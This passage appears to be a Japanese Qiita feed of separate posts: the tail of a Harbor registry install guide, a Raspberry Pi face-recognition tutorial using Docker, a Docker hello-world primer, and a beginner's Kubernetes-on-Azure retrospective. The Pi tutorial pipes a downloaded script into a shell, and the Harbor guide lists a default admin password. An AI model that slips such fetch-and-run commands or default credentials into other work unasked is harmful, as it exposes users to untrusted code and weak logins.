#  tar -xvf harbor-online-installer-v1.2.0.tgz 

**オフラインインストーラの場合

#  tar -xvf harbor-offline-installer-v1.2.0.tgz 

SSL証明書の生成

デフォルトでhttpを使用するので、クライアントのDockerデーモンに--insecure-registryを追加する必要があります。

su - rootコマンドを実行してrootユーザーに切り替え、パスワードを入力します。

独自のSSL証明書を生成するには、以下のコマンドを実行します。imarslan.comを自分のドメイン名に変更することを忘れないでください。

#  mkdir cert && cd cert 
# openssl req -sha256 -x509 -days 365 -nodes -newkey rsa:4096 -keyout  harbor.imarslan.com.key -out harbor.imarslan.com.crt
  • 国番号を2文字だけ入力します。私の場合はPKとしました。
  • あなたの州のフルネームを入力します。
  • あなたの都市のフルネームを入力します。
  • あなたの組織のフルネームを入力します。
  • あなたの組織単位のフルネームを入力します。
  • 共通名を入力します。私の場合は、サーバーのホスト名を使用しました。
  • メールアドレスを入力します。

Harborの設定

sudo権限で自分で作成したユーザーに切り替えます。私の場合、ユーザー名は aareez です。

#  su - aareez 

/harbor/ディレクトリに移動します。

#  cd harbor 

今、あなたは港の設定ファイルを編集する必要があります。以下のコマンドを実行します。

#  sudo nano harbor.cfg 

開いたファイルに以下のテキストをコピーして貼り付けてください。ホスト名は設定に応じて変更することを忘れないでください。その後、Ctrl+Xを押し、Yと入力してからEnterを押して設定を保存します。

hostname = harbor.imarslan.com
ui_url_protocol = https
ssl_cert = /root/cert/harbor.imarslan.com.crt
ssl_cert_key = /root/cert/harbor.imarslan.com.key

インストールを完了するには、以下のコマンドを実行します。

#  sudo ./install.sh 

以下のコマンドを実行して、バックグラウンドでdockerを実行します。

#  sudo docker-compose up -d 

これで、Alibaba Cloud ECSのドメインまたはIPアドレスにアクセスすることで、HARBORにアクセスすることができるようになりました。私の場合は、http://www.imarslan.com を使ってアクセスすると、以下のような画面が表示されます。

image.png

デフォルトのユーザー名とパスワードでログインできます。

ユーザー名: admin
パスワード: Harbor12345

ログインすると、以下のようなダッシュボードが表示されます。

image.png

おめでとうございます!Harborのインストールに成功しました

アリババクラウドは日本に2つのデータセンターを有し、世界で60を超えるアベラビリティーゾーンを有するアジア太平洋地域No.1(2019ガートナー)のクラウドインフラ事業者です。
アリババクラウドの詳細は、こちらからご覧ください。
アリババクラウドジャパン公式ページ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerを使ったRaspberry Piでの顔認識アプリケーションの実装

この記事では、Dockerを使ってRaspberry Piで顔認識アプリケーションのソフトウェア開発を簡略化する方法を紹介しています。

本ブログは英語版からの翻訳です。オリジナルはこちらからご確認いただけます。一部機械翻訳を使用しております。翻訳の間違いがありましたら、ご指摘いただけると幸いです。

顔認証技術は、すでに多くの実世界のアプリケーションをサポートしています。今日は、Dockerコンテナを使ってRaspberry Pi上に顔認識アプリケーションを素早く作成する方法を紹介します。

今回は、顔認識機能がdlib(Deep Metric Learning)でサポートされているオープンソースのフレームワークageitgey/face_recognitionを使ってみました。Labeled Faces in the Wildのベンチマークテストによると、dlibの精度は99.38%となっています。Face_recognitionアプリケーションの開発は非常に簡単です。Raspberry Piに対応した顔認識アプリケーションを、Pythonコマンドをいくつか使うだけで作成することができます。

Raspberry Pi 2+プラットフォームの顔認識インストールのガイドはこちらにあります:gist.github.com/ageitgey/1ac8dbe8572f3f533df6269dab35df65

image.png

Raspberry Piは、その洗練されたソフトウェアエコシステムと幅広いI/Oインターフェースでソフトウェア開発者に愛されている開発コンソールです。しかし、Raspberry Pi上でアプリケーション開発を深く学ぶことは困難です。

1、アプリケーション開発を勉強するためには、Raspberry Pi の弱いコンパイラアプリを使って多くのパッケージをダウンロードしてコンパイルしなければなりません。これは時間がかかり、それを成功させるためには多くの忍耐が必要になります。
2、オープンソースの深層学習フレームワークには、異なるライブラリや依存関係を持つものが多数存在しており、それらは互いに競合する可能性があります。例えば、Python 2.7 を必要とするものもあれば、Python 3.x に依存しているものもあります。 virtualenv を使って Python 環境を分離することはできますが、これではシステムレベルの依存関係の競合を解決することはできません。長くて時間のかかるビルドプロセスでは、依存関係はコンパイルの失敗や多くのフラストレーションにつながる可能性があります。
3、別のコンソールに同じアプリケーションをデプロイするには、すべてのプロセスを繰り返さなければなりません。

次の記事では、Dockerコンテナを使ってアプリケーションイメージを作成し、パッケージ化していきます。これにより、Dockerfileが提供するレイヤリング機能をフルに活用しながら、依存パッケージの調整を便利に行いながら、アプリケーションのビルドと実行を一括して行うことができるようになります。このようにして、開発とデプロイのプロセスは非常に効率的になります。

Raspberry Pi上での顔認識アプリケーションのデプロイ

Raspberry PiとDockerのおかげで、顔認証開発環境のインストールとデプロイは楽勝です。
まず、Raspberry Pi 3に最新版のRaspbianをインストールする必要があります。

以下のコマンドを実行して、Docker Engineコミュニティの最新版をインストールします。

# Install Docker
curl -sSL https://get.docker.com | sh

# Add pi to Docker group
sudo usermod pi -aG docker

# config cgroup for Docker
echo Adding " cgroup_enable=cpuset cgroup_enable=memory" to /boot/cmdline.txt
sudo cp /boot/cmdline.txt /boot/cmdline_backup.txt
# if you encounter problems, try changing cgroup_memory=1 to cgroup_enable=memory.
orig="$(head -n1 /boot/cmdline.txt) cgroup_enable=cpuset cgroup_memory=1"
echo $orig | sudo tee /boot/cmdline.txt

sudo reboot

Raspberry Cameraをインストールします。カメラモジュール2を使用していますが、青い線がイーサネットインターフェイスの方向を示しています。raspi-configコマンドを使ってカメラモジュールを起動します。

コンテナでface_recognitionアプリケーションを開発して実行します。以下のコマンドを使ってコンテナを起動します。これには、face_recognitionの開発環境一式とサンプルアプリケーションが含まれています。具体的な画像の詳細については後述します。

docker run -it \
    --name face_recognition \
    --device /dev/vchiq \
      registry.cn-hangzhou.aliyuncs.com/denverdino/face_recognition \
      bash

ここでは、コンテナにカメラデバイス/dev/vchiqをマウントするのがポイントなので、コンテナ内のアプリケーションを使って写真や動画を撮影します。docker cpコマンドを使ってコンテナ内のファイル(写真など)をコピーしたり、コンテナ内のnanoなどのコマンドを使ってコードを編集したりすることができます。

顔認識アプリケーションを分析する

examples/facerec_on_raspberry_pi.pyを参考に、顔認証アプリを以下のように修正してみました。

# This is a demo of running face recognition on a Raspberry Pi.
# This program will print out the names of anyone it recognizes to the console.

# To run this, you need a Raspberry Pi 2 (or greater) with face_recognition and
# the picamera[array] module installed.
# You can follow these installation instructions to get your RPi set up:
# https://gist.github.com/ageitgey/1ac8dbe8572f3f533df6269dab35df65

import face_recognition
import picamera
import numpy as np

known_face_encodings = []
names = []

def load_face_encoding(name, file_name):
    image = face_recognition.load_image_file(file_name)
    face_encoding = face_recognition.face_encodings(image)[0]
    known_face_encodings.append(face_encoding)
    names.append(name)

# Get a reference to the Raspberry Pi camera.
# If this fails, make sure you have a camera connected to the RPi and that you
# enabled your camera in raspi-config and rebooted first.
camera = picamera.PiCamera()
camera.resolution = (320, 240)
output = np.empty((240, 320, 3), dtype=np.uint8)

# Load a sample picture and learn how to recognize it.
print("Loading known face image(s)")
load_face_encoding("Yi Li", "yili.jpg")
load_face_encoding("Zhang Kai", "zhangkai.jpg")
load_face_encoding("Che Yang", "cheyang.jpg")

# Initialize some variables
face_locations = []
face_encodings = []

while True:
    print("Capturing image.")
    # Grab a single frame of video from the RPi camera as a numpy array
    camera.capture(output, format="rgb")

    # Find all the faces and face encodings in the current frame of video
    face_locations = face_recognition.face_locations(output)
    print("Found {} faces in image.".format(len(face_locations)))
    face_encodings = face_recognition.face_encodings(output, face_locations)

    # Loop over each face found in the frame to see if it's someone we know.
    for face_encoding in face_encodings:
        # See if the face is a match for the known face(s)
        matches = face_recognition.face_distance(known_face_encodings, face_encoding)
        name = "<Unknown Person>"

        min_distance = min(matches)
        if min_distance < 0.6:
            i = matches.argmin()
            name = names[i]


        print("I see someone named {}!".format(name))

まず、コードの中で、指定した名前のヘッドショットを読み込むには、以下のメソッドを使用します。自分や友達の写真を顔のライブラリに追加することができます。

load_face_encoding("Yi Li", "yili.jpg")

その後、カメラで連続撮影を行い、以下の方法で写真の中の顔情報を検出します。

face_locations = face_recognition.face_locations(output)
...
face_encodings = face_recognition.face_encodings(output, face_locations)

次に、カメラで検出した顔情報と既知の顔情報を比較します。そして、その類似度が設定された閾値を超えた場合には、最も一致する名前を返します。これで簡単な顔認識アプリの開発は完了です。簡単でしたね。

matches = face_recognition.face_distance(known_face_encodings, face_encoding)

操作結果は以下の通りです。

# python3 facerec_on_raspberry_pi.py 
Loading known face image(s)
Found 0 faces in image.
Capturing image.
Found 0 faces in image.
Capturing image.
Found 1 faces in image.
I see someone named Yi Li!
...

これらの結果は、我々が期待していた通りのものです。しかし、Raspberry Piの処理能力が限られているため、リアルタイムとは程遠い非常に遅いレスポンスとなっています。顔を認識するのに数秒かかります。とはいえ、簡単なシナリオにはまだこのアプリを使うことができます。ぜひ私たちの心を吹き飛ばすようなアプリを自由に開発してください。

顔認識アプリをカスタマイズする必要がある場合は、https://github.com/denverdino/face_recognition_pi に Dockerfile が公開されているので、自分のニーズに合った完全なアプリを作ることができます。

FROM resin/raspberry-pi-python:3
COPY pip.conf /root/.pip/pip.conf
RUN apt-get -y update
RUN apt-get install -y --fix-missing \
    build-essential \
    cmake \
    gfortran \
    git \
    wget \
    curl \
    graphicsmagick \
    libgraphicsmagick1-dev \
    libatlas-dev \
    libavcodec-dev \
    libavformat-dev \
    libboost-all-dev \
    libgtk2.0-dev \
    libjpeg-dev \
    liblapack-dev \
    libswscale-dev \
    pkg-config \
    python3-dev \
    zip \
    && apt-get clean && rm -rf /tmp/* /var/tmp/*
RUN python3 -m ensurepip --upgrade && pip3 install --upgrade picamera[array] dlib

# The rest of this file just runs an example script.

# If you wanted to use this Dockerfile to run your own app instead, maybe you would do this:
# COPY . /root/your_app_or_whatever
# RUN cd /root/your_app_or_whatever && \
#     pip3 install -r requirements.txt
# RUN whatever_command_you_run_to_start_your_app

RUN git clone --single-branch https://github.com/ageitgey/face_recognition.git
RUN cd /face_recognition && \
    pip3 install -r requirements.txt && \
    python3 setup.py install

CMD cd /face_recognition/examples && \
    python3 recognize_faces_in_pictures.py

必要であれば、Dockerイメージでアプリケーションをパッケージ化してDockerfilesを追加・修正することもできますが、ここではそれについては記述しません。

最後に、私のRaspberry 3の構成を投稿します。カメラの他に液晶画面を追加し、GPIOドライバを使ってCPUやメモリ、温度などを表示するアプリケーションをプログラムしてみました。

image.png

結論

今日は、Raspberry Pi上で顔認証アプリケーションを実行する方法を学びました。例で使ったコードは https://github.com/denverdino/face_recognition_pi にあります。

コンテナ技術は、IoTやエッジコンピューティングなどのシナリオで重要になってきています。この技術を使用することで、スマートデバイスアプリケーションのライフサイクル管理が大幅に簡素化されます。

2017年はコンテナ技術の急速な発展を目の当たりにし、Kubernetes、Containerd/OCI、その他のコンテナ技術標準を中心にエコシステム内でコンセンサスが形成されています。これにより、アプリケーション開発のさらなるイノベーションにつながるでしょう。2018年は、エンタープライズユーザーの生産環境におけるコンテナの幅広い応用だけでなく、あらゆる場所でコンテナ技術に遭遇することになるでしょう。大きな驚きが待っていると思います。
アリババクラウドの製品とソリューションの詳細については、www.alibabacloud.com

アリババクラウドは日本に2つのデータセンターを有し、世界で60を超えるアベラビリティーゾーンを有するアジア太平洋地域No.1(2019ガートナー)のクラウドインフラ事業者です。
アリババクラウドの詳細は、こちらからご覧ください。
アリババクラウドジャパン公式ページ

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[docker]dockerなにそれからのhello world 

目的

  • 環境構築や環境の差で問題解決が遅れるの(時間がかかる)のは面倒なので使いこなせるようになりたい。

dockerって簡単にいうと?

PC内のコンテナ型の仮想環境のこと。
コンテナ型の他に、ホスト型、ハイパーバイザー型がある。

「コンテナ」と呼ばれるゲームのカセットのように入れ替えて開発環境を変更することができる。
また、ゲームのカセット(コンテナ)は、「イメージ」から作ることができる。

なぜdockerが必要になのか?

「あっちのPCではできるけどこっちのPCではできない!」のようなローカル環境など開発環境の差を吸収し、環境構築やデプロイのスピードを向上する。

カーネルとシェルの関係のように、dockerはdockerクライアントから操作する必要がある。

まずはHello worldまで

①DockerHubの登録とDockerクライアントのインストール

②ターミナルでdocker login
  ※もし反応しない場合はDockerが起動しているか確認。

docker pull hello-world 
 これでコンテナの元になるイメージを取得。
  ※docker imagesで現在取得しているイメージを確認できる。

docker run hello-world hello-worldイメージからコンテナを作り起動。

 ※ちなみに、runはイメージ取得+コンテナ生成+コンテナ起動まででき、pullはイメージ取得だけのコマンド。
Screen Shot 2020-07-13 at 21.48.41.png

コンテナをつけっぱなしではなく、取引の度に消すこともありえるので、コンテナを作ってdockerイメージに返すということができる。

今後理解したいこと

  • コンテナを作って、dockerイメージに戻す。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

インフラど素人が1ヶ月半でKubernetes本番環境を作るまでの失敗の軌跡(奇跡)

タイトル通りですが、1年目エンジニアのインフラのイの字も知らなかった私が1ヶ月半かけてKubernetesで環境構築するまでの失敗の軌跡です(そして環境構築できたのが奇跡)。

理想的にはこれを読めばインフラ初心者でもKubernetes(以下k8s)で環境構築できるところまで説明することですが、そういうわけでなく、環境構築の解説というより自分の失敗やつまづきポイント、役に立ったことをただただ書き連ねていきます。ただ他の初心者の方も同じようなところでつまづくこともあると思うので少しでもお役に立てたら嬉しいです。

バックエンド側で使った技術は以下になっています。

  • 言語:Ruby(RoR)
  • API:GraphQL
  • インフラ:Azure
  • その他:Docker、k8s

実際の実装でハマったところは各章の最後に教訓として簡単にまとめてはいますが、大事なことは先に結論として述べておきます。

  1. Dockerfileが環境構築の定義書になっているので、まずはDockerfileを理解する。
  2. クラウドサービスはドキュメント読み進めながら触って覚える。
  3. k8sで立ち行かなくなったらマシンのスペックやpodのリソースの容量を上げる。
  4. 途中で諦めない(諦められない)。

目次

第一章:新サービス始動!バックエンドチームへ!
第二章:Dockerの洗礼
第三章:クラウドサービスの奥深さ
第四章:Kubernetesやってみっか(終わりの始まり)
最終章:俺たちの戦いはこれからだ!
まとめ

第一章:新サービス始動!バックエンドチームへ!

弊社で新しいサービスを立ち上げるにあたってフロントエンドチームとバックエンドチームを編成することになりました。

バックエンドチームはインフラの構築も含まれており、バックエンドの方が好き、かつインフラも勉強してみたいと思った向上心が高めの私は迷わずバックエンドチームに希望を出しました。

リモート会議で弊社CTOが「じゃあ、どんな感じでチー」くらいで食い気味にバックエンドチームがいいです!と言ったところすんなりと希望は通りました。そして意気揚々と新しい開発の幕開けに心を踊らせていたわけです。インフラの沼にハマるとは知らずに。

この時は言ってみるもんだなって感じでしたが、やはりやりたいことはどんどん主張した方が良いなって思いました。
ただあまり主張しすぎるのも周りから嫌われるかもしれないので程度が大事ですね(今回はフロントもバックエンドも良い感じで希望通りになったので結果的に言えば特に主張する必要なかったです)。

第二章:Dockerの洗礼

Dockerの導入

今まで開発にDockerを使っていなかったため、Dockerを導入することになりました。
私も一回DockerでRailsの環境を作ったことはありますが、当時は完全にコピペで何をしてるのか全く分かっていなかったし、何が良いのかも分かっていませんでした。

もはやDockerはスタンダードな技術ですし、ローカルで環境作ったらそのままリモートにも簡単に持っていけると思っていたので勉強をはじめました。簡単に持って行けたら苦労しないっていう話ですね。まじで。

Dockerとは何か、みたいな話は他の文献や記事にお任せします。

webサーバーはnginx、appサーバーはRails、DBはpostgreSQLという割と王道な構成で作ることになりました。

とりあえず動けばいいや

最初の目標はとりあえずローカルでRailsが使えるようになるところまでです。
色々参考にしてとりあえず動くDockerfile、docker-composeを作成しました。

今でこそDockerfileって分かりやすすぎじゃない?って思いますが、まず最初の時点でイメージとコンテナの違いすらあまり分かっていなかったレベルだったので、何をしてるのかさっぱり分かっていませんでした。

FROMでイメージを取ってくる。(イメージとは?)
RUNでコマンド実行、ふむふむ。apt-get、はいはい(apt-getとは?)

みたいな感じです。

とりあえず動けばいいや理論で進めていったのでエラーが出ても対処の仕方が分かりませんでした。
インフラ初心者はDockerを理解するのにまずはサンプルのDockerfileを完全に理解することをオススメします。

これは仮にDockerを使わなくてもどうやって環境構築するかがDockerfileを読めば分かるからです。つまりDockerfile自体が環境構築の仕様書になっています。

ベースとなるイメージを取ってきたあとはVMに環境を構築する手順とほとんど変わりはありません。ここが分かってないとDockerを使おうが、使うまいが自分が構築した環境が何をしているか理解できないまま運用となり、エラーが出た時に対処するのに時間がかかるかもしれません。

結局本番と開発は違うdocker-compose

dockerの設定ファイルを一回作っちゃえばローカルでも本番でも同じ設定で環境構築できると思っていた時期が私にもありました。

Dockerfileはほぼほぼ同じファイルを使っていますが、docker-composeは結構違います。
先にも記述しましたがwebサーバーにはnginx使っていますし、DBにはPostgreSQLを使っています。

そのためdocker-composeはnginxやPostgreSQL、あとwebpack-dev-serverのコンテナの起動も含んでいました。

これでローカル動いてたので、本番環境もこれでいけるやんって思ってたのは大きな間違いでした。

まずnignxは別にローカルではなくてもいいです(もちろんあってもいい)し、rails6標準でwebpacker入っていますが、特に使っていなかったのでwebpack-dev-serverいらないですし、本番ではローカルファイルをマウントしません。あと、DBは外部サービス使うのでコンテナいらないです。

よく考えたらDocker使ってない時もローカルと本番では設定が違うので当たり前っちゃ当たり前ですね。

本番まで構築することを考えると本番とローカルで何が違うのかを理解するのは大事ですね。
Dockerだけでなくrailsの設定もローカルと本番で違うのでどのファイルをいじるかもちゃんと理解しないと意外な落とし穴がたくさんあります。特にconfigディレクトリはそんなんばっかです。ほんと気をつけましょう。

イメージ大きすぎひん?

とりあえず動けばいいやっていう考えで色々調べたもので設定ファイルを作っていたので、イメージのサイズがとても大きくなりました。

この時点ではイメージが大きくても特に問題はなかったのですが、色々ビルドをし直すと無駄な重いイメージが大量に出てくるのと、本番運用時にリポジトリにpushしたイメージが大きいとデプロイに時間がかかったりするので、なるべく小さいイメージにしたいと思っていました。(パフォーマンスも落ちるのかな?この辺は分からず、、、)

少なくともalpineのイメージ使いたいなぁと思っていたところこちらの記事を見つけたのでこちらを参考に小さいイメージを作りました。

ポイントはマルチステージビルドdockerignoreです。(やり方は上記のリンクにて確認お願いします。)

これでイメージサイズは大体半分くらいになりました。

ちなみに使ってないイメージはdocker image prune -aで一掃できます(消したくないものも混じっている可能性あるので自己責任で)。

因みにpruneは某中井貴一さんのフルーツと同じ綴りですが、ここでは切り取るとかそんな意味です。

エイリアスは幸せ

存在は知っていましたが何故か面倒くさがってエイリアスを登録せずに毎回docker-compose buildとか入力してました。docker-composeを打ちすぎて多分docker-composeのタイピングだけだったら全国レベルでした。

しかし今やdcuでコンテナ立ち上がりますし、dcdでコンテナ落とすことができます。幸せ。

エイリアスの登録は最初にやりましょう

その他

ローカルではビルドの高速化のためインストールしたgemをマウントしてるのですが、そのせいでgemfile.lockとの齟齬が起きたりしてたまにビルドに失敗することがありました。
そういう時は、docker volume pruneで一掃するとうまくいきます。

教訓

  • 自分がどういう環境を作っているかを理解するために、まずはDockerfileを完全に理解すること。
  • ローカルと本番ではdocker-composeは結構違う
  • イメージサイズはできる限り小さくした方が良い
  • いらないイメージはdocker image prune -a
  • いらないvolumeもdocker volume pruneで一掃
  • というかdocker system pruneで大体全部消える
  • エイリアスを登録するとコマンド入力が三倍速い

第三章:クラウドサービスの奥深さ

本番環境はAzureを使うことになったので、まずはAzureに慣れることから始めました。
VM立てるのもお金がかかるわけでドキドキです。(本当に作っていいのかな、高額請求こないかな)

どのサービス使えばいいの?

まずDockerを使うということでコンテナサービスを調べました。
そこで出てくるのがContainer InstancesとWeb App for Containersです。

この違いは全く分かりませんでしたが、答えはこちらでした。

要はWeb App for Containersは通常のWebアプリを構築するのに使用し、Container Instancesはバッチ処理、例えば1日10分だけ使うスクリプト用のコンテナを建てるのに使用します。

あとはPostgreSQLを使うのでリソースの検索でPostgreSQLと検索するとたくさん出てきます。
よく見ると発行元がMicroSoftなのはAzure Database for PostgreSQLだけなのでこれを使えば良いのですが、初見だとよく分かりません。

用途は違うのに名前が似てるものは最初全く分かりませんでした。サードパーティ制はともかく似てる名前のサービスは公式で違いを教えてくれれば良いのにって思いましたね。初見殺し。

この辺は書籍を読んだり、知っている人に聞いたりしないと大分難しいですね。
特にAzureはクラウドサービスの中では公式以外の情報が少ないのでネットで調べても出てこないことが多いです(特に日本語では)。インフラ初心者すぎて調べ方が悪い説もありますが。。。

そういう意味ではAWSが一番情報が多い気がするので、選べるならAWSから勉強を始めた方が良いのかもしれませんが、Azure確定だったので、本読んだり公式ドキュメントを読むことで少しずつ何とか進めました。

とりあえずドキュメント、まずドキュメント、結局ドキュメントの精神ですね。

プレビュー版の罠

そんなこんなで、Web App for Containersでいけるかなって思い意気揚々と環境構築しようと思ったところ、思わぬところでつまずきました。

Screen Shot 2020-07-07 at 21.25.37.png

プレビュー??

つまり正式リリース前ってことですね。(最初何のこと?って感じでした)
ベータ版って名前の方が浸透してる気がするんですけどね?

いずれにせよ本番運用でプレビュー版を使うのはやめた方が良さそうです。
(MSの人に聞いたところ、プレビュー版から本番リリースで仕様がかなり変わることもあるのでやはり本番運用ではGAしてからの方が良いようです)

つまりWeb App for Containersを使いたかったら単一のコンテナのみしか受け付けないということです。nginx使えないじゃん。
今気づいたんですが、Web App for Containersって複数形なのに複数使えないとは何事であろうか。

ここでWeb App for Containersを使うのは諦めてVMにDockerをinstallして一から構築しようと決めましたが、今考えるとサービス初期段階ではnginxなしでrailsコンテナだけのWeb App for Containers使っても良かったかなって思います。

開発スケジュールにもよりますが、Web App for Containersを使っていれば環境構築は結構すぐに終了して他のことに時間を使うことができたのでそういう選択はアリだったかもしれません。

ただ、Web App for Containersのようなフルマネージドなサービスは細かい設定をよしなにやってくれる一方で、その細かい設定を変更することができない(もしくは難しい)ので、サービスの使用状況によっては結局は自分で一から環境構築した方が良いこともあると思います。

この辺のバランス感覚はインフラの経験を積まないと分からないでしょうし、どのサービス使うのかとかも使わないと分からないので、結局使って慣れるしかないんでしょうね。

まずはセキュリティ

そんなこんなでVMを建てることになりました。
SSHキーの概念くらいは知っていたので、とりあえずSSHキーでログインできるようにしました。

ポート番号くらい変えておいた方が良いということで、ポート番号を変えてみたところ繋がりません。
Azure側で設定が必要でした。

ネットワークセキュリティグループという概念(他のサービスだと他の名前がついてる)があって接続の種類や接続元に制限をかけられます。これでそのポート番号を許可しなければいけなかったんですが、知らないと知らないですよね、そんなこと。知らないと知らないだらけです。

Screen Shot 2020-07-11 at 13.45.28.png

VMにつなげるDBやストレージサービスもIPの許可を設定する必要があり、まずは接続できるサービスを制限することで外部から攻撃されないようにするんですね。インフラは安定稼働も大事ですが、セキュリティも同じくらい大事ということを学びました。

クラウドサービス側でできるセキュリティ設定はなるべくやっておくことが大事ですね。

セキュリティの話は調べるとすごい出てくるんですが、とても難しいのでこれも経験がものを言うのかなって気もしてます。

便利なサービスにも裏はある

とりあえず開発用サーバーの構築をすることになりました。
やってることはVMにDocker等をインストールしてコンテナを建てるだけなのですが、一応SSL化した方が良いかなぁということでSSL化に手を付けました。

AzureでどうやってSSL化するんだろうとか、そもそもSSL化ってどうやるんだろうとか色々調べてたらとんでもないサービス見つけました。

ドン!!
https-portal

すんごい便利です。
ほとんど設定することなく勝手にLet's encryptでhttpsにしてくれます。しかも証明書も自動で更新してくれる親切仕様。
Dockerを勉強しはじめておそらく一番感動したかもしれません。

これのおかげで開発用サーバーを楽々SSL化してしばらくは問題なく使っていました。
しかしフロント側から画像がアップロードできないという問い合わせが。

何でだろう。Postmanでは上がるのに。。。
あれ?アップロードできる画像とそうじゃないのがあるぞ。
これは、nginxの設定だ!

そうです、https-portalはベースはnginxなのでnginxの設定が必要だったのです。
そもそもnginxの設定ファイル見ても、???だった私は初期設定で使っていました。
https-portalのリポジトリをちゃんと読むとnginxの設定ファイルをオーバーライドする方法もちゃんと載っており、これに従ってCLIENT_MAX_BODY_SIZEを設定することにより無事画像をアップロードできるようになりました。

便利なサービスといえど自分で設定できる箇所はデフォルトで良いのか確認することが大事でした。

教訓

  • 似たような名前のサービスがあるので気を付ける
  • プレビュー版って意外に多い
  • セキュリティの設定は大事
  • 便利だからといってサービス任せにしない

第四章:Kubernetesやってみっか(終わりの始まり)

環境構築も概ね終わったのですが、k8sに手を出すことになりました。
理由としては、

  • リリースまでに少し時間がある
  • CI/CDの設定とかがVMにたってるコンテナでやるより楽そう
  • オートスケーリング設定しやすい
  • 名前が格好いい

という感じで導入できそうなら導入することになりました。
(間に合わなくても開発環境と同じような構成で本番も作れば良いので)

k8sもスタンダードな技術になってきているので勉強したかったこともあるし、なんかKubernetesできますって言えたらカッケェみたいな感じ始めました。始める理由はなんでもいいんです。大事なのはやりきることです。

とりあえず概念を学ぶ

新しいものを勉強する時に割と全体像から学ぶタイプなので、書籍やらネットの情報を読んでいました。
最初はとりあえず色々なコンテナをよしなにやってくれるんでしょ?的なノリで読んでたんですが、リソースの種類が多すぎて訳わからなくなってました。

Dockerの時はコンテナしかなかったのに、Replica Set? Ingressって何?L7LB?状態です。

これに関してはもう作りながら覚えていくしかないですね。

書籍等で勉強もできるかと思いますが、こちらの記事はとても良い記事でした。
数時間で完全理解!わりとゴツいKubernetesハンズオン!!

色々なリソースの種類がありますが、完全に異なるものではなく1個ずつレベルアップしていくイメージで使うことができるので1回何かを構築すれば大体何が何をするものなのか分かってくると思います。

便利なサービスにも裏はある(その2)

概念を学んでもそう簡単に設定ファイルの書き方は覚えられません。
よく分かんないからdocker-composeから勝手に作ってくれないかなぁと思っていたらそんなサービスありました。

kompose

マジかよ。これで余裕じゃんと思ってたらPodが動きません。
まあそんな簡単にできたらみんなこれ使ってますよね。
便利なサービスに頼りっきりにしないというのをDockerの時に学んだというのに全く学習してません。

とはいえ概ねの構成を生成できたので定義ファイルが何してるかをちゃんと勉強しながら修正して少しずつ形にしていけました。

便利なサービスは分かってる人が使うから便利なんですね。

動かないPod

色々構成を変えたり、Railsの実装を変えるとPodが動かないことが何度かありました。
理由は様々ですが、イメージの名前やバージョンを間違っていたこともありましたし、ボリュームマウントがちゃんと指定できていなくて、必要な情報がうまく渡っていなかった(Railsのマスターキーとか)こともあります。

あとは、ImagePullPolicy: IfNotPresentにしていたためだと思いますが、古いイメージと新しいイメージが混在していることもありました。ImagePullPolicy: Alwaysにすると毎回ちゃんとイメージを取ってきてくれるので問題なくなりました。

理由はともあれ、まずはデバッグの方法を知っておくことが大事だと思います。
デバッグできればたいていのことは結構すぐ解決します。

k8sだとkubectl describe pod [pod id]でpodの詳細見れますし、kubectl logs [pod id]でコンテナのログも出ます(pod内に2つ以上コンテナがある場合は、-c [container name]でコンテナを指定できます)。

podは動くけどつながらない時は他のpodからcurlコマンドでリクエスト返ってくるか確認したり、色々な方法があるので頭に入れておくと良いかと思います。

また、k8sは色々なリソースを1個の定義ファイルに書けるのですが、リソースごとに切り分けた方がデバッグもしやすくなるので、最初のうちは定義ファイルは全部別で書いた方が良いなって思いました。慣れてきたら一緒にしても良いのかもしれません。

いらなかったnginx

最初はよくわからず、nginxとRailsを同じpodに構成して1pod2containersで構成していました。

しかし色々進めていくと、AzureでSSL化するのにnginx-ingressを使うことになり、あれ?nginxいらないじゃんってなりました。

最初からそこを把握しておけば自分でnginxの設定ファイル書いたりrailsとの連携する必要なかったので、実装の前に構成を考えるべきだったなぁと思います。まあ本当に初心者だったので、やりながら構成していくしかなかったんですが。。。

因みに某有名draw.ioがVS Codeで使えるようになっており、しかもAzureのリソースの画像が入ってるので爆速で構成図を書くことができます!是非使ってください!
ただし、Azureの項目だけではなく、Cloud&Enterpriseの中にAzureのリソースが入ってたりするのでご注意を!

話は戻りますが、nginxを使う=nginxの設定が必要ということで、https-portalの時とは方法は異なりますがnginxの設定のオーバーライドも必要になります。ここはhttps-portalの時の失敗が役に立って、絶対どこかに設定あるだろって調べました。やはり失敗は大事

画像がアップロードできない

ある程度環境構築が進み、ステージングで運用していると画像がアップロードできない問題が発生しました。

実装を調べたり、色々調べた結果リソースの問題ということが判明しました。
最適なリソースが分からなかったため、最初にpodに割りてるメモリを500Miとかにしていました。
それを2000Miとかに上げてみたところ画像のアップロードができました。

よくわかりませんが、k8sで起きる問題はメモリやCPUをあげると解決するとどこかの記事で読んだことがあります。まさか自分の身に起こると思ってませんでしたが、本当でした。今後は困ったらリソースの上限をあげる方向で行きます。

教訓

  • 便利なサービスに頼りっきりにならない
  • imagePullPolicyは常にAlwaysが良い
  • デバッグの方法をちゃんと調べる
  • リソースごとにファイルを分けた方が良い
  • サービスの全容を把握してから設計する
  • draw.ioめっちゃ便利
  • nginx-ingressの設定
  • リソースの調整も大事

最終章:俺たちの戦いはこれからだ!

は?Kubernetes使えねぇ。
Kubernetesまじ神
を繰り返しながらなんとかk8s導入できました。

思っていたよりは簡単でした()
Azureのドキュメントを読めば設定色々できますし、ダウンタイムのことをあまり気にせずデプロイできます。

とはいえまだできてないことはたくさんあります。
CI/CDの設定簡単と聞いていたのにうまくデプロイできないし、podやnodeのモニタリング設定や、ロギングの設定もちゃんとはできていないのでこれから設定したいです。

他にもhelmの使い方を覚えて良い感じの設定ファイルも作りたい、せっかくk8s使うならマイクロサービス化したいし、やりたいことやらなくてはならないことはたくさんあります。

また、導入は簡単と言ったものの完全に理解してるわけではないので、何か問題が起きた時にインフラの問題なのか、コードの問題なのか分からない時もあります。(実際ありました)

本文中にも書きましたが、経験が大事な部分もあるので、良いのか悪いのかはさておき色々な失敗、トラブルを経験して堅牢な環境を構築できればと思います!

(調子に乗ってCKAでも取ってやろうかしら)

まとめ

時系列順とは言いながらも実際は行ったり来たりしてましたし、実際はここに書いてないよく分からないエラーとかと戦いまくってなんとか環境構築までできました。

開発体勢的な話をすると、元々バックエンドチームは3人で一緒に開発を進めていたのにインフラやってるの私だけになりました。

最初:フロントエンドチーム、バックエンドチーム(私はここに所属)
最後:フロントエンドチーム、バックエンドチーム、私(インフラ)

になりました。解せぬ。

